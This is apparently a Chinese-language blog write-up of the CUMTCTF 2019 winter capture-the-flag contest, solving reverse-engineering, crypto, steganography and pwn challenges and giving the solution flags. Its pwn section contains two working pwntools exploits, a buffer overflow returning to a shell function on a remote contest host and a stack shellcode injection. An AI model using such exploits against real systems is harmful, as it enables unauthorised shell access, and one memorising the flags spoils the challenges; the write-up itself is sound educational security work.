狗儿

热爱的话就坚持吧~

0%

CUMTCTF 2019冬季赛题解

菜到哭泣。

reverse

Easy Android

1577010352035

1577010366558

AES在线解密

参数都在上面的函数里有(数据块128位没找到,我猜的)。

Snipaste_2019-12-22_10-27-32

Medium Android

变种base64.

主函数:

1577010893503

base64_encode:

下图代码将字符串nF67gMB4w50pQCiHVRzDTU3ZL28lcPmKyqesAOExWokXb9h+dNIj1SuaJ/rYvtGf反转并作为base64的码表。

1577010995091

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//反转字符串
//其实大佬可以直接看出上图的算法就是字符串反转,只有我这种菜鸡才不得不用c++验证一下。
#include <iostream>
using namespace std;
int main(){
char aNf67gmb4w50pqc[] = "nF67gMB4w50pQCiHVRzDTU3ZL28lcPmKyqesAOExWokXb9h+dNIj1SuaJ/rYvtGf";
signed __int64 v11 = 63LL;
char *v12 = aNf67gmb4w50pqc;
do
{
char v13 = *v12 ^ aNf67gmb4w50pqc[v11];
*v12 = v13;
char v14 = aNf67gmb4w50pqc[v11] ^ v13;
aNf67gmb4w50pqc[v11--] = v14;
*v12 ^= v14;
++v12;
}
while ( v11 != 31 );
for (int i=0;i<=63;i++){
cout<<aNf67gmb4w50pqc[i];
}
}
//输出码表:fGtvYr/JauS1jINd+h9bXkoWxEOAseqyKmPcl82LZ3UTDzRVHiCQp05w4BMg76Fn

错误脚本

一开始误以为算法就是换了码表的base64,写出下面的脚本:

1
2
3
4
5
6
7
8
import base64

str1 = "xwkzPBC1ELzGlAMds/i8VTRqqXz82ZFTO/kYcAMaxWlmaWp="

string1 = 'fGtvYr/JauS1jINd+h9bXkoWxEOAseqyKmPcl82LZ3UTDzRVHiCQp05w4BMg76Fn'
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

print(base64.b64decode(str1.translate(str.maketrans(string1,string2))))

str1是密文,string1为新码表,string2为默认码表。

输出b'cum\x8b\x9c\x8bf{A\x91\xbe\x8fple\xbe\xbb\x9eyKe\x9a\x8f\xabheD\x8d\xbe\x88ay!!}'

或者可以用下面的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
base64_charset = 'nF67gMB4w50pQCiHVRzDTU3ZL28lcPmKyqesAOExWokXb9h+dNIj1SuaJ/rYvtGf'[::-1]

def Base64NewDecode(string):
base64_bytes = ["{:0>6}".format(str(bin(base64_charset.index(c))).replace('0b', '')) for c in string if c != '=']
base64_bytes_str = ''.join(base64_bytes)

for i in range(len(base64_bytes_str)//8):
byte = base64_bytes_str[i*8:i*8+8]
if 32<=int(byte, 2)<=126:
print(chr(int(byte,2)),end='')
else:
print('*',end='')

Base64NewDecode('xwkzPBC1ELzGlAMds/i8VTRqqXz82ZFTO/kYcAMaxWlmaWp=')

输出cum***f{A***ple***yKe***heD***ay!!} (非法字符用*代替)

正确脚本

观察上面的字符串,三个正常,三个非法,并且最重要的,第一处非法的三个字符一定是tct(因为cumtctf),观察二进制10001011 10011100 10001011,一三的二进制相同,按位反转后,1000101101110100,恰好是字符t.

所以猜测算法不仅是换了码表的base64,而且奇数的每三个字符(看不懂的话对照一下上面字符串的*星号的位置,数学表达就是6k+3,6k+4,6k+5, k=1,2,3,4,5)都要按位翻转。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
base64_charset = 'nF67gMB4w50pQCiHVRzDTU3ZL28lcPmKyqesAOExWokXb9h+dNIj1SuaJ/rYvtGf'[::-1]

def Base64NewDecode(string):
base64_bytes = ["{:0>6}".format(str(bin(base64_charset.index(c))).replace('0b', '')) for c in string if c != '=']
base64_bytes_str = ''.join(base64_bytes)

for i in range(len(base64_bytes_str)//8):
if (i // 3) % 2 == 0:
byte = base64_bytes_str[i*8:i*8+8]
if 32<=int(byte, 2)<=126:
print(chr(int(byte,2)),end='')
else:
print('*',end='')
else:
byte = base64_bytes_str[i*8:i*8+8]#.replace('0','-').replace('1','0').replace('-','1')
if 32<=(int(byte,2) ^ 0xff)<=126:
print(chr(int(byte,2) ^ 0xff),end='')
else:
print('*',end='')

Base64NewDecode('xwkzPBC1ELzGlAMds/i8VTRqqXz82ZFTO/kYcAMaxWlmaWp=')

按位翻转其实就是按位与1异或,对于8位二进制而言,就是与0b111111110xff异或

输出cumtctf{AnAppleADayKeepTheDrAway!**

综合上面的cum***f{A***ple***yKe***heD***ay!!}

flag就是cumtctf{AnAppleADayKeepTheDrAway!!}

easy_vm

主函数

1577012465840

加密函数

1577012617605

bytedd:

1577012518050

第一个字节是数据,第四个字节是操作码,4个操作码对应4种运算。

最后的13h是结束循环的标志,请对照上上图中的红线处。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
bytepp = [0xa, 0xa1,0x5d,0x56,0x7b,0xab,0x57,0x77,0x3c,0x5e,0x64,0xe1,0x49,0xb2,0x60,0x6f,0x1,0x5d,0x8a,0x148,0x50]
op = [0xf8,0xf9,0xff,0xcc,0xf8,0xf9,0xff,0xcc,0xf8,0xf9,0xff,0xcc,0xf8,0xf9,0xff,0xcc,0xf8,0xf9,0xff,0xcc]
bytedd = [0x41,0x38,0x59,0x4e,0x2d,0x4e,0x0f,0x41,0x20,0x62,0x4e,0x37,0x0b,0x64,0x73,0x63,0x42,0x21,0x16,0x0a]
flag = [0]*21
v2 = [0] * 21
for i in range(len(v2)):
v2[i] = bytepp[i] ^ 0x2d
for i in range(19, -1, -1):
v1 = op[i]
if v1 == 0xf8:
flag[i] = v2[i] ^ bytedd[i]
elif v1 == 0xf9:
flag[i] = (v2[i] - bytedd[i]) ^ bytedd[i]
elif v1 == 0xff:
flag[i] = (v2[i] -56) ^ bytedd[i]
elif v1 == 0xcc:
flag[i] = (v2[i]//3) ^ bytedd[i]
flag = ''.join(map(chr,flag))
print(flag)

四种运算,分别逆向算法。逻辑很简单,所以这里就不详细分析了。

PWN

eeeeeeasy

主函数:

1577012962976

并且发现了调用system("/bin/sh")的函数。

1
2
3
4
5
6
from pwn import *

p = remote('202.119.201.199','11000')
payload = 'a'*0x18 + p64(0x4005B6)
p.sendline(payload)
p.interactive()

但是写wp时,不知道为什么本地没打通,搞不明白。

0x4005b6system('/bin/sh')的地址。

what is shellcode?

1577014235140

通过第八行输出的v5的地址,计算出buf的地址。

第一个read没用,随便写点数据。

第二个read,写入shellcode,并填充垃圾字符,直至ret处。返回地址为buf的地址(即shellcode的地址)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

p = process("./ret2shellcode")
#p = remote('202.119.201.199', '11002')
context(arch='amd64', os='linux', log_level='debug')
shellcode = asm(shellcraft.sh())

t = p.recvuntil('there is a gift: ')
v5_addr = int(p.recv()[:-1],16) #去除\n
print hex(v5_addr)
buf_addr = v5_addr-(0x110-0x4)
p.sendline('a'*0x09)
payload = flat([shellcode.ljust(0x118, "A"), buf_addr])
#payload = shellcode + 'A'* (0x110+0x08-len(shellcode)) + p64(buf_addr)
#上面两个语句是等价的
p.sendline(payload)
p.interactive()

CRYPTO

仿射密码

密文:cejldputgtbjwrfhpttnt

穷举即可,从几百条字符串中找到flag

参考:【密码学】古典密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#-*- coding:utf-8 -*-
# Classical Cipher: Affine Cipher
# Table of statistical result
fTbl = "EARIOTNSLCUDPMHGBFYWKVXZJQ"
class Node:
ch = ''
cnt = 0
def __init__(self,ch,cnt):
self.ch = ch
self.cnt = cnt
def __str__(self):
return self.ch+":\t"+str(self.cnt)
def __lt__(self,other):
return self.cnt > other.cnt
# Greatest Common Divisor(GCD)
def gcd(a,b):
if a%b == 0:
return b
return gcd(b,a%b)
# Find mod m reverse of a
def findModReverse(a,m):
if gcd(a,m)!=1:
return None
u1,u2,u3 = 1,0,a
v1,v2,v3 = 0,1,m
while v3!=0:
q = u3//v3
v1,v2,v3,u1,u2,u3 = (u1-q*v1),(u2-q*v2),(u3-q*v3),v1,v2,v3
return u1%m
# Encryption
def AffineEncrypt(m,k1,k2):
k2 %= 26
if gcd(k1,26) != 1:
print("k1 and 26 are not mutually prime, and encryption fails.")
return
l = len(m)
ans = ""
for i in range(l):
if m[i].isupper():
ans += chr((k1*(ord(m[i])-ord('A'))+k2)%26+ord('A'))
elif m[i].islower():
ans += chr((k1*(ord(m[i])-ord('a'))+k2)%26+ord('a'))
else:
ans += m[i]
return ans
# Decryption(normal)
def AffineDecrypt(c,k1,k2):
k2 %= 26
if gcd(k1,26) != 1:
print("k1 and 26 are not mutually prime, and decryption fails.")
return
k1 = findModReverse(k1,26)
l = len(c)
ans = ""
for i in range(l):
if c[i].isupper():
ans += chr((k1*(ord(c[i])-ord('A')+26-k2))%26+ord('A'))
elif c[i].islower():
ans += chr((k1*(ord(c[i])-ord('a')+26-k2))%26+ord('a'))
else:
ans += c[i]
return ans
# Decryption(exhaustive)
def BruteAffineDecrypt(c):
for k1 in range(26):
if gcd(k1,26) == 1:
for k2 in range(26):
print "k1 = "+str(k1).zfill(2),
print ", k2 = "+str(k2).zfill(2),
print ": "+AffineDecrypt(c,k1,k2)
# Decryption(statistical analysis)
def StatisticalAffineDecrypt(c):
l = len(c)
ciperCopy = c.lower()
alphaNum = []
# Initialize
for i in range(26):
t = Node(chr(ord('a')+i),0)
alphaNum.append(t)
# Count
for i in range(l):
if ciperCopy[i].isalpha():
alphaNum[ord(ciperCopy[i])-ord('a')].cnt += 1
# Sort
alphaNum.sort()
# Generate Substitution Table
for k1 in range(26):
if gcd(k1,26) == 1:
for k2 in range(26):
if chr((4*k1+k2)%26+ord('a')) == alphaNum[0].ch:
print "k1 = "+str(k1).zfill(2),
print ", k2 = "+str(k2).zfill(2)+":"
print AffineDecrypt(c,k1,k2)
# Main function
def main():
while True:
op = raw_input("What do you want to do?\n[E]Encryption [D]Decryption [B]Brute-Attack [S]Statistical-Analysis-Attack\n").upper()
if op[0] == "E":
# s = "Haha CUMTer~"
# k1,k2 = 5,6
s = raw_input("Please enter your plaintext:\n\t")
k1 = input("Please enter your k1(gcd(k1,26)=1):\n\t")
k2 = input("Please enter your k2:\n\t")
# ******** Encryption ********
print 8*"*"+" Encryption "+8*"*"
Encryption = AffineEncrypt(s,k1,k2)
print "The Ciphertext is:\n\t"+Encryption
break
elif op[0] == "D":
s = raw_input("Please enter your ciphertext:\n\t")
k1 = input("Please enter your k1(gcd(k1,26)=1):\n\t")
k2 = input("Please enter your k2:\n\t")
# ******** Decryption ********
print 8*"*"+" Decryption "+8*"*"
Decryption = AffineDecrypt(s,k1,k2)
print "The Plaintext is:\n\t"+Decryption
break
elif op[0] == "B":
# ******* Brute Attack *******
s = raw_input("Please enter your ciphertext:\n\t")
print 7*"*"+" Brute Attack "+7*"*"
BruteAffineDecrypt(s)
break
elif op[0] == "S":
# *** Statistical Analysis Attack ***
# s = "Pu yfo of oin hvy ufa hrpkpyb, jlar ph hopkk py oin hvy oinan, svo jnjpkk klvbi rfan zfyupgnyo zlkr; pu ovayng of ufvyg iph fjy hilgfj, lmmafmaplon nhzlmn, oin hvy jpkk sn oiafvbi oin inlao,jlar nlzi mklzn snipyg oin zfayna; pu ly fvohoanozing mlkr zlyyfo ulkk svoonaukx, oiny zknyzing jlcpyb larh, bpcny mfjna; pu P zly'o ilcn sapbio hrpkn, po jpkk ulzn of oin hvyhipyn, lyg hvyhipyn hrpkn ofbnoina, py uvkk skffr."
s = raw_input("Please enter your ciphertext:\n\t")
print 3*"*"+" Statistical Analysis Attack "+3*"*"
StatisticalAffineDecrypt(s)
break
else:
continue
if __name__ == '__main__':
main()

1577015847923

MISC

你可劲找之word

打开word,发现flag,但是禁止复制,所以手打即可。

你可劲找之JPG

winhex打开,文件末尾有flag

你可劲找之音乐贼好听

二维码修复,得到key:BxS1909

然后使用MP3Stego从mp3中分出flag

1577016190443

flag在目录下的speaker.mp3.txt内。